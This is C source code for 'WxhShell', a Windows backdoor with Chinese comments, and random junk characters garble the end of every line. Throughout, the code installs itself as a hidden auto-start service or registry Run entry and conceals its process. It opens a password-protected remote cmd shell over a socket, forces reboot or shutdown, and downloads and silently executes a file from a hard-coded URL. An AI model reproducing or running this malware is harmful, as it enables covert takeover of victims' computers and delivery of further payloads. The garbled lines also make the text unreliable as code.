  case 'd': { "u!gfG?oH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'E3T fM  
    if(Boot(SHUTDOWN)) V;xPZ2C;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sk cK>i.[  
    else { KtL?,zi  
    closesocket(wsh); qqf`z,u  
    ExitThread(0); 0BlEt1e2T  
    } {MUiK 5:  
    break; 4k<o  
    } 1fS&KO{a  
  // 获取shell @"MYq#2c$  
  case 's': { Y:ly x-lj  
    CmdShell(wsh); k8+J7(_c  
    closesocket(wsh); w5HIR/kP  
    ExitThread(0); 0w3c8s.  
    break; 5p[}<I{  
  } Q:(mK* _  
  // 退出 wS*r<zj  
  case 'x': { 5;/n`Bd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z)`)9]*  
    CloseIt(wsh); +M0pmK!  
    break; I/Vw2  
    } gM3:J:N  
  // 离开 eUA]OF @  
  case 'q': { 1P!)4W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u;_h%z5K  
    closesocket(wsh); 2e1KF=N+  
    WSACleanup(); T?pS2I~  
    exit(1); Z v@nK%#J  
    break; :snO*Zg  
        } U|} ?{x  
  } P }sr  
  } k."p&  
z$%twBg}#  
  // 提示信息 AEyvljv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1#A$&'&\J;  
} %qoS(iO`h  
  } YZg#H) w%  
|sZqqgZ-  
  return; |3'  
} U g"W6`  
G\@pg;0|y  
// shell模块句柄 ~lw9sm*2v2  
int CmdShell(SOCKET sock) dz_S6o ]  
{ Du+W7]yCl  
STARTUPINFO si; _ox+5?>  
ZeroMemory(&si,sizeof(si)); 3v8LzS3@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &jP1Q3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xqf,_I=V  
PROCESS_INFORMATION ProcessInfo; .e~"+Pe6b  
char cmdline[]="cmd"; >pv.,cj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [8iY0m_Qe  
  return 0; 3kn-tM  
} %j7b0pb  
za_b jE  
// 自身启动模式 G!q[NRu  
int StartFromService(void) 'C[tPP  
{ m{/7)2.  
typedef struct Hb)FeGsd).  
{ f>N DtG.6  
  DWORD ExitStatus; @Vm*b@  
  DWORD PebBaseAddress; #a8kA"X  
  DWORD AffinityMask; PF%-fbh!~  
  DWORD BasePriority; 2e`}O  
  ULONG UniqueProcessId; 'R 7 \  
  ULONG InheritedFromUniqueProcessId; jf9+H!?^N  
}   PROCESS_BASIC_INFORMATION; 0,%{r.\S  
N,(!   
PROCNTQSIP NtQueryInformationProcess; y\?ey'o  
n:5M E*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R/vHq36d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aFnel8  
GKBoSSnV&  
  HANDLE             hProcess; 7UfNz60+~  
  PROCESS_BASIC_INFORMATION pbi; <tr]bCu}  
7~7L5PRW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Su#0 F0  
  if(NULL == hInst ) return 0; kK? SG3  
> i/jqT/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UL+Txc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S_ATsG*(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MGg(d  
( S[z  
  if (!NtQueryInformationProcess) return 0; XqTguO'  
^6s im2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Y($ F2  
  if(!hProcess) return 0; &.)=>2  
LP vp (1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @Cj!MZ=T  
ai !u+L  
  CloseHandle(hProcess); NoI|Dz  
R N$vKJk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \nl(tU#j  
if(hProcess==NULL) return 0; aacy5E  
>ahDc!Jyu  
HMODULE hMod; n$i X6Cd  
char procName[255]; \]X.f&u  
unsigned long cbNeeded; #ArrQeO 5_  
QS#@xhH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HbTVuf o  
\""^'pP@  
  CloseHandle(hProcess); `|t,Uc|7!  
}[p{%:tP  
if(strstr(procName,"services")) return 1; // 以服务启动 .;? Bni  
@C;1e7  
  return 0; // 注册表启动 e" v%m 'G  
} %|-N{>wKy  
Al$z.i?R  
// 主模块 ~1G^IZ6  
int StartWxhshell(LPSTR lpCmdLine) ;_}pIO  
{ SB62(#YR  
  SOCKET wsl; *^?tr?e%I<  
BOOL val=TRUE; E|O&bUMh  
  int port=0; `PWKA;W$0  
  struct sockaddr_in door; #:)'D?,  
@*;x1A-]V  
  if(wscfg.ws_autoins) Install(); g6M>S1oOO  
-gn0@hS0  
port=atoi(lpCmdLine); ]c(FgY c  
4I4m4^  
if(port<=0) port=wscfg.ws_port; aV;|2}q "  
?t/qaUXN  
  WSADATA data; UHl3/m7g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }x'*3zI  
{*xE+ |  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =z1Lim-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !(d] f0  
  door.sin_family = AF_INET; 6 @f>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {yn,u)@r9S  
  door.sin_port = htons(port); :V/".K-:J  
+gl\l?>sr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ev fvU:z  
closesocket(wsl); $|$@?H>K  
return 1; Xaz "!  
} 4.9qB  
|<W$rzM  
  if(listen(wsl,2) == INVALID_SOCKET) { /T _M't@j  
closesocket(wsl); J0sD?V|{1~  
return 1; E$"NOR  
} ing'' _  
  Wxhshell(wsl); (4H\ho8+mp  
  WSACleanup(); 3vrVX<_  
d`sZ"8}j  
return 0; [YvS#M3T  
x^ s,<G  
} E,i^rAm  
ieyK$q  
// 以NT服务方式启动 lm`*x=x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M;A_'h?Z  
{ -}7$;QK&a  
DWORD   status = 0; l*ltS(?  
  DWORD   specificError = 0xfffffff; *@rA7zPFf  
BM :x`JY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yP"2.9\erH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E '6>3n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `KQx#c>'  
  serviceStatus.dwWin32ExitCode     = 0; @IG's-  
  serviceStatus.dwServiceSpecificExitCode = 0; LnR>!0:c  
  serviceStatus.dwCheckPoint       = 0; 8xy8/UBIk0  
  serviceStatus.dwWaitHint       = 0; =2!p>>t,d;  
O-, "/Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VEps|d3,,  
  if (hServiceStatusHandle==0) return; ,{*g Q%7  
fU6YJs.H^8  
status = GetLastError(); 3lF"nv  
  if (status!=NO_ERROR) BlJiHz!  
{ CCTU-Xz/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 \z@Evm  
    serviceStatus.dwCheckPoint       = 0; h&4s%:_4  
    serviceStatus.dwWaitHint       = 0; tLzLO#/n  
    serviceStatus.dwWin32ExitCode     = status; }geb959  
    serviceStatus.dwServiceSpecificExitCode = specificError; u^MKqI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M`Y^hDl6  
    return; f:-)S8OJ  
  } J;& y?%{@5  
u`|%qRt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;yNc 7Vl  
  serviceStatus.dwCheckPoint       = 0; 7|}4UXr7y  
  serviceStatus.dwWaitHint       = 0; 1EU4/6!C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R3B+vLGX  
} SaPE 1^}  
eB0exPz%  
// 处理NT服务事件,比如:启动、停止 TFXBN.?9T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FJvY`zqB  
{ \HGf!zZ  
switch(fdwControl) 4  OPY  
{ Q}#Je.;  
case SERVICE_CONTROL_STOP: ZvRa"j  
  serviceStatus.dwWin32ExitCode = 0; G+dq */  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z],j|r Wy6  
  serviceStatus.dwCheckPoint   = 0; +bumWOQ'  
  serviceStatus.dwWaitHint     = 0; *PF<J/Pr  
  { ,`t+X=#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sa g)}6+  
  } bZxN]6_  
  return; `n&:\Ib  
case SERVICE_CONTROL_PAUSE: Tpl]\L1v-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;UQza ]i  
  break; @&\Y:aRO%i  
case SERVICE_CONTROL_CONTINUE: m?w_ ]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j[U#J  
  break; C|ZPnm>f30  
case SERVICE_CONTROL_INTERROGATE: =RB {.%  
  break; J?O0ixU  
}; |5 V0_79  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }n^Rcz6HeO  
} qFmw9\Fn  
W,4!"*+  
// 标准应用程序主函数 X%yG{\6:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <Kt_ oxK,  
{ </[.1&S+\  
RHUZ:r  
// 获取操作系统版本 G*9(O:  
OsIsNt=GetOsVer(); <Y yE1 |  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yw|v5/>  
A-!e$yz>  
  // 从命令行安装 aqON6|6K  
  if(strpbrk(lpCmdLine,"iI")) Install(); !Gmnck&+  
2>o[  
  // 下载执行文件 i<Z%  
if(wscfg.ws_downexe) { =UKxf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :8`A  
  WinExec(wscfg.ws_filenam,SW_HIDE); p}^G#h{  
} D0Q9A]bD;  
n\+ c3  
if(!OsIsNt) { 0he3[m}Nr  
// 如果时win9x,隐藏进程并且设置为注册表启动 $7q3[skH  
HideProc(); Bve|+c6W  
StartWxhshell(lpCmdLine); p#$/{;yy  
} .~i|kc]Ue  
else L$5,RUy  
  if(StartFromService()) n{gEIUo#  
  // 以服务方式启动 eIvZhi  
  StartServiceCtrlDispatcher(DispatchTable); Rzd`MIHDp  
else WZ'Z"'  
  // 普通方式启动 <Z^by;d|z  
  StartWxhshell(lpCmdLine); h ;*x1BVE  
%0GwO%h},  
return 0; 6*Z7JiQ 0  
} A4"TJZBg}  
=mYf] PIX  
Qj^Uz+b  
70qEqNoC  
=========================================== mG1~rI  
Tri\5O0lPs  
{T8;-H0H  
I# tlaz#  
uU^DYgs  
6 - 3?&+  
" Y:DopKRD  
& 'u|^d  
#include <stdio.h> \HO)ss)"  
#include <string.h> *'?ZG/ (  
#include <windows.h> cy^=!EfA  
#include <winsock2.h> BHr,jC  
#include <winsvc.h> Y#os6|MV#  
#include <urlmon.h> %r|sb=(yT  
<1*kXTN(  
#pragma comment (lib, "Ws2_32.lib") xUn"XkhP  
#pragma comment (lib, "urlmon.lib") I~6) Gk&  
iYr)Ao5X  
#define MAX_USER   100 // 最大客户端连接数 5M>h[Q"R  
#define BUF_SOCK   200 // sock buffer {]\7 M|9\  
#define KEY_BUFF   255 // 输入 buffer |[rn/  
m.+h@  
#define REBOOT     0   // 重启 <N)!s&D  
#define SHUTDOWN   1   // 关机 /NQrE#pb  
M@T{uo  
#define DEF_PORT   5000 // 监听端口 t~L4wr{B  
Ae7FtJO  
#define REG_LEN     16   // 注册表键长度 ,8384'  
#define SVC_LEN     80   // NT服务名长度 :aOR@])>o  
! t!4CY  
// 从dll定义API  N}5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4ior  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^t3>Z|DiB^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d dgDq0N1j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |Y Lja87  
r:sa|+  
// wxhshell配置信息 byI" ?  
struct WSCFG { J!om"h  
  int ws_port;         // 监听端口 5$ik|e^:y  
  char ws_passstr[REG_LEN]; // 口令 eQi^d/yi  
  int ws_autoins;       // 安装标记, 1=yes 0=no }-tJ.3Zw  
  char ws_regname[REG_LEN]; // 注册表键名 W/UA%We3+L  
  char ws_svcname[REG_LEN]; // 服务名 R([zlw~B5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lyc6nP;F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +2{ f>KZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ` +YtTK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?jR#txR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y`j_]qvt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F%V|Aa  
Ct'tUF<K5  
}; YH58p&up  
V%4P.y  
// default Wxhshell configuration VKPEoy8H  
struct WSCFG wscfg={DEF_PORT, 9<3(  QR  
    "xuhuanlingzhe", [.>=> KJ_  
    1, ~+{*KPiD  
    "Wxhshell", qoZi1,i'  
    "Wxhshell", v/ Ge+o0K  
            "WxhShell Service", ~2>Adp  
    "Wrsky Windows CmdShell Service", J3y _JoS  
    "Please Input Your Password: ", 2:|vJ<Q  
  1, Do(G;D`h+_  
  "http://www.wrsky.com/wxhshell.exe", K\ Wzh;  
  "Wxhshell.exe" 1)c{;x& W  
    }; N?m)u,6-l  
"iEnsP@'Wg  
// 消息定义模块 KGOhoiR9:C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 07SW$INb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D`QMlRzXy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /\Nc6Z/ L  
char *msg_ws_ext="\n\rExit."; Xc NL\fl1  
char *msg_ws_end="\n\rQuit."; 3~fi#{  
char *msg_ws_boot="\n\rReboot..."; I._ A  
char *msg_ws_poff="\n\rShutdown..."; D,=~7/g  
char *msg_ws_down="\n\rSave to "; ~Q=;L>Qd  
b$;oty9Y  
char *msg_ws_err="\n\rErr!"; {3KY:%6qj  
char *msg_ws_ok="\n\rOK!"; D?y-Y  
V_ (Ly8"1;  
char ExeFile[MAX_PATH]; 3]1 ! g6  
int nUser = 0; F~=kMQO  
HANDLE handles[MAX_USER]; Otu?J_d3  
int OsIsNt; ,l AZ4  
)-X8RRw'  
SERVICE_STATUS       serviceStatus; xpp nBnu$7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LS*L XC  
RNB -W%  
// 函数声明 qy?$t:*pp  
int Install(void); \V'fB5  
int Uninstall(void); :kcqf,7  
int DownloadFile(char *sURL, SOCKET wsh); 2wO8;wiA  
int Boot(int flag); l'<&H#A;'  
void HideProc(void); 9q0s  
int GetOsVer(void); |}^u<S8X  
int Wxhshell(SOCKET wsl); )j'Qi^;(D  
void TalkWithClient(void *cs); n]vCvmt  
int CmdShell(SOCKET sock); 3_G0eIE"u  
int StartFromService(void); $-^& AKc  
int StartWxhshell(LPSTR lpCmdLine); 5vD\?,f E  
2Rys:$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zl%)#=kO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aVHID{Gf Z  
\a0{9Xx F  
// 数据结构和表定义 6t!=k6`1  
SERVICE_TABLE_ENTRY DispatchTable[] = O6e$vI@  
{ q/w5Dx|:  
{wscfg.ws_svcname, NTServiceMain}, V*JqC  
{NULL, NULL} X)(K|[  
}; >l-u{([B  
~9rNP{+  
// 自我安装 s8:epcL`A  
int Install(void) p".wqg*W  
{ 3Yx'/=]  
  char svExeFile[MAX_PATH]; XU<owk  
  HKEY key; 5o{U$  
  strcpy(svExeFile,ExeFile); D',7T=C   
5WHqD!7u  
// 如果是win9x系统,修改注册表设为自启动 Tn,_0  
if(!OsIsNt) { ]?}pJ28  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iiuT:r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <% mD#S  
  RegCloseKey(key); Qd~7OH4Lp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gs0 jwI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qu/f>tJN;  
  RegCloseKey(key); #N`MzmwS  
  return 0; N:'GNMu  
    } d|87;;X|u  
  } [+5g 9tBJ  
} O|Vc  
else {  3bd`q $  
Mx0~^l  
// 如果是NT以上系统,安装为系统服务 H{_D#It  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }VWUcALJV  
if (schSCManager!=0) (VkO[5j  
{ 4uE )*1  
  SC_HANDLE schService = CreateService VNz? e&>  
  ( ":sp0(`h  
  schSCManager, d/+s-g p  
  wscfg.ws_svcname, SG~HzQ\%  
  wscfg.ws_svcdisp, V"gKk$j7  
  SERVICE_ALL_ACCESS, 1W.oRD&8j/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~T9QpL1OJ  
  SERVICE_AUTO_START, 3KeY4b!h  
  SERVICE_ERROR_NORMAL, 55`p~:&VQ  
  svExeFile, zSMM?g^T  
  NULL, }"RVUYU  
  NULL, 9%R"(X)  
  NULL, rT-.'aQ2t  
  NULL, 9 M?UPE  
  NULL E>E^t=; [  
  ); AL&<SxuP  
  if (schService!=0) '9qyf<MlY  
  { y_Gs_xg  
  CloseServiceHandle(schService); ; X+.Ag  
  CloseServiceHandle(schSCManager); ~kpa J'm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iz[IK%K  
  strcat(svExeFile,wscfg.ws_svcname); HdY#cVxy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h1B_*L   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]m &Ss  
  RegCloseKey(key); %y_pF?2@q  
  return 0; @qWClr{`  
    } 7^@ 1cA=S  
  } gQ{<2u  
  CloseServiceHandle(schSCManager); "9X(.v0ze  
} z 36Y/{>[  
} DHhty qm  
V%t_,AT  
return 1; TR `C|TV>  
} +?QHSIQo  
'm<L}d  
// 自我卸载 !K=$Q Uq  
int Uninstall(void) Qi qRx  
{ "9~KVILlLu  
  HKEY key; &liFUP?   
=_6 Q26  
if(!OsIsNt) { {~#01p5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *.A-UoHa  
  RegDeleteValue(key,wscfg.ws_regname);  YO fYa  
  RegCloseKey(key); E+ XR[p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dl\0xcE  
  RegDeleteValue(key,wscfg.ws_regname); D4@(_6^  
  RegCloseKey(key); \O~WMN  
  return 0; uTl"4;&j  
  } a>ye  
} .345%j  
} l Ny<E!0  
else { KZ=5"a  
I;<__  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l;h -`( 11  
if (schSCManager!=0) $fPiR  
{ <I?f=[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *Hv d  
  if (schService!=0) t`Xx\  
  { h9nh9a(2  
  if(DeleteService(schService)!=0) { R&'Mze fb  
  CloseServiceHandle(schService); FELW?Q?k  
  CloseServiceHandle(schSCManager); )"00fZL  
  return 0; b$*G&d5  
  } ^R+CkF4l l  
  CloseServiceHandle(schService);  ?f5||^7  
  } e)L!4Y44K  
  CloseServiceHandle(schSCManager); 0'zjPE#  
} mndEB!b  
} p@?(m/m$  
YR)^F|G  
return 1; O=u.J8S2  
} *JWPt(bnI  
F=UW[zy/[  
// 从指定url下载文件 )R@Y$*fm  
int DownloadFile(char *sURL, SOCKET wsh) y7z ,I  
{ B\dhw@hM  
  HRESULT hr; R^K:hKQ  
char seps[]= "/"; k6;pi=sYNW  
char *token; tg~7^(s  
char *file; PhmtCp0-7-  
char myURL[MAX_PATH]; `y1,VY  
char myFILE[MAX_PATH]; e.|t12)L "  
\qJ^n %  
strcpy(myURL,sURL); fKs3H?|  
  token=strtok(myURL,seps); s21)*d  
  while(token!=NULL) #hEU)G' $+  
  { Y~OyoNu2  
    file=token; 7#g<fh  
  token=strtok(NULL,seps); gdqED}v  
  } JNA_*3 '  
52*KRq o  
GetCurrentDirectory(MAX_PATH,myFILE); S.owVMQ  
strcat(myFILE, "\\"); Lo9 \[4FP  
strcat(myFILE, file); tqU8>d0^  
  send(wsh,myFILE,strlen(myFILE),0); 7{[i)  
send(wsh,"...",3,0); KeC&a=HL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mldY/;-H!1  
  if(hr==S_OK) tQ2S*]"f  
return 0; * x.gPG  
else u z:@  
return 1; Nw3IDy~T  
zOL*XZ0c  
} N)YoWA>#bF  
~A>-tn}O  
// 系统电源模块 7"{CBbT  
int Boot(int flag) pf_`{2.\uO  
{ Sr6?^>A@t  
  HANDLE hToken; i]zTY\gw8M  
  TOKEN_PRIVILEGES tkp; `6G:<wX  
Olq`mlsK  
  if(OsIsNt) { #pMpGw$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]=%u\~AvL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,,V uvn  
    tkp.PrivilegeCount = 1; [i]%PVGW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ze#ncnMo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]8XIw`:f  
if(flag==REBOOT) { 7+J<N@.d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .@f )#2  
  return 0; pR~"p#Y  
} V5]\|?=  
else { atfK?VK#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /_/Z/D!  
  return 0; ~*G}+Ur$2  
} A:,V)  
  } k%({< ul  
  else {  W o$UV  
if(flag==REBOOT) { 8"x\kSMb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -"n8Wv  
  return 0; T;B/ Wm!x  
} -.7UpDg~  
else { (7}Zh|@W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L(kW]  
  return 0; Z4PAdT  
} E&|EokSyN  
} v7D3aWoe  
O:[@?l  
return 1; <h1J+  
} 3+:uV  
U,^jN|v  
// win9x进程隐藏模块 ig:z[k?  
void HideProc(void) ]4&B*]j  
{ !o/;"'&E  
(:J U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vjXCArS  
  if ( hKernel != NULL ) F#\+.inO  
  { Bd*\|M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d Y]i AJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); azp XE  
    FreeLibrary(hKernel); ju;Myi}a  
  } lyrwm{&  
K/XUF#^B]  
return; A/*h[N+2!  
} ("j*!Dsd  
kX]p;C  
// 获取操作系统版本 Q02:qn?T  
int GetOsVer(void) Xw9"wAj  
{ .1?7)k v  
  OSVERSIONINFO winfo; 5[>N[}Ck>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oJ)v6"j  
  GetVersionEx(&winfo); d0@czNWIC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u=p-]?  
  return 1; 0i9C\'W`  
  else STQ~mFs"  
  return 0; >CPoeIHK  
} gT4H? #UB  
H3" D$Nv  
// 客户端句柄模块 cdsF<tpy  
int Wxhshell(SOCKET wsl) "]{"4qV1=  
{ o[CjRQY]P  
  SOCKET wsh; AA0zt N  
  struct sockaddr_in client; oq}Q2[.b  
  DWORD myID; 9]TvL h3  
'l3K*lck  
  while(nUser<MAX_USER) (L6*#!Dt  
{ _79 ?,U]  
  int nSize=sizeof(client); @IwVR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $5m_)]w4a  
  if(wsh==INVALID_SOCKET) return 1; #pw=HHq*(  
h^6Yjy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =D~RIt/D  
if(handles[nUser]==0) o+Kh2;$)  
  closesocket(wsh); #>byP?)n  
else iVGc\6+'  
  nUser++; k@= LR  
  } #T8$NZA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Y(ySW  
g?caE)  
  return 0; W e*)RXm%  
} xd`!z`X!,s  
~.wDb,*  
// 关闭 socket nob^ I5?  
void CloseIt(SOCKET wsh) g"Z X1X  
{ R9z^=QKcH  
closesocket(wsh); l6Q75i)eF  
nUser--; 5=.EngG  
ExitThread(0); Z"fnjH  
} )pXw 3Fo  
%Sdzr!I7*  
// 客户端请求句柄 :{v:sK  
void TalkWithClient(void *cs) _('KNA~  
{ H-,RzL/  
-f-2!1&<3h  
  SOCKET wsh=(SOCKET)cs; e r;3TG~  
  char pwd[SVC_LEN]; vYNh0)$%F  
  char cmd[KEY_BUFF]; IFY,j8~q  
char chr[1]; z!I(B^)BkT  
int i,j; k(;c<Z{?1  
o= %Fh  
  while (nUser < MAX_USER) { '.wyfSH@  
~=,|dGAa$  
if(wscfg.ws_passstr) { "kjjq~l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k+S 6)BQ7U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vx\h Njb  
  //ZeroMemory(pwd,KEY_BUFF);  -'|pt,)  
      i=0; THmX=K4=?  
  while(i<SVC_LEN) { {-]/r  
&:` 7  
  // 设置超时 hsQrHs'k  
  fd_set FdRead; f#p.=F$  
  struct timeval TimeOut; kE".v|@  
  FD_ZERO(&FdRead); nD+vMG1~w  
  FD_SET(wsh,&FdRead); 3a4 ]{  
  TimeOut.tv_sec=8; U!-|.N,  
  TimeOut.tv_usec=0; 8P3EQY -  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T@]vjXd![  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Wq`q F(;  
&0 VM <  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y\Z-x  
  pwd=chr[0]; .O'gD.|^N  
  if(chr[0]==0xd || chr[0]==0xa) { { A(= phN  
  pwd=0; h(I~HZ[K&T  
  break; `oh'rm3'8  
  } )(&g\  
  i++; gT R:9E:B  
    } 4\?I4|{pC  
dxkXt  k  
  // 如果是非法用户,关闭 socket i)0*J?l=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I@ch 5vl4  
} '7W?VipU  
48n>[ FMSR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J680|\ER  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R9yK"  
}@Oy kN  
while(1) { C/[2?[  
4kA/W0 VG  
  ZeroMemory(cmd,KEY_BUFF); 8jjJ/Mz`  
ZBJYpeGe  
      // 自动支持客户端 telnet标准   m \4jiR_o  
  j=0; 5jg^12EP  
  while(j<KEY_BUFF) { nrA}36E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j*$GP'Df3  
  cmd[j]=chr[0]; 5Lt&P 5BY  
  if(chr[0]==0xa || chr[0]==0xd) { ;=Bf&hY&  
  cmd[j]=0; /PIU@$DV  
  break; 8@/]ki `>  
  } 2u6N';jgZ  
  j++; jo<[|ZD  
    } `ivr$b#  
^<<( }3  
  // 下载文件 RN3w{^Ll  
  if(strstr(cmd,"http://")) { i<1w*yu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {:Z#8dGe  
  if(DownloadFile(cmd,wsh)) N:clwmo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \GbT^!dj  
  else ix]3t^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X<(h)&E  
  } gA!-F}x$  
  else { XT= #+  
